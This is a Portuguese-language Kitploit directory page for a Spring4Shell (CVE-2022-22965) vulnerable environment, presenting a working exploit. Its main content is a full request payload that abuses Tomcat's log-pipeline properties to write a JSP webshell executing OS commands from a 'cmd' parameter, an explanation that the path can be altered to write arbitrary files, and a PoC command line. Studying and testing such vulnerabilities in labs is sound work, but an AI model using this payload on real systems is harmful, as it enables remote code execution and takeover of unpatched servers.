Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Spring4Shell — Ambiente de RCE Spring para CVE-2022-22965 | Kitploit
Ferramentas/GitHubGitHub/dbgee/spring4shell
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubdbgee/spring4shell

Spring4Shell

Ambiente de RCE Spring para CVE-2022-22965

Ver Repositório
11há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Spring RCE CVE-2022-22965

Ambiente de Vulnerabilidade

Informações do ambiente

  • springboot
  • jdk11
  • tomcat9.0.30

payload

Configuração do cabeçalho da requisição

root@kitploit:~
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%",
"DNT": "1",
"Content-Type": "application/x-www-form-urlencoded",

Dados do corpo da requisição

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=myshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Baixar ferramenta

Enviando o conteúdo acima, é possível gravar com sucesso um webshell no sistema alvo, geralmente no caminho webapps\ROOT\myshell.jsp

Se o caminho for controlável, através da alteração do payload, você pode gravar qualquer arquivo que precisar
Principalmente através da modificação do formato de registro de logs do Tomcat, escrevendo o shell na forma de logs.

Uso do PoC

Para facilitar a reprodução, basta usar o seguinte PoC

root@kitploit:~
python3 poc.py http://test.com/hello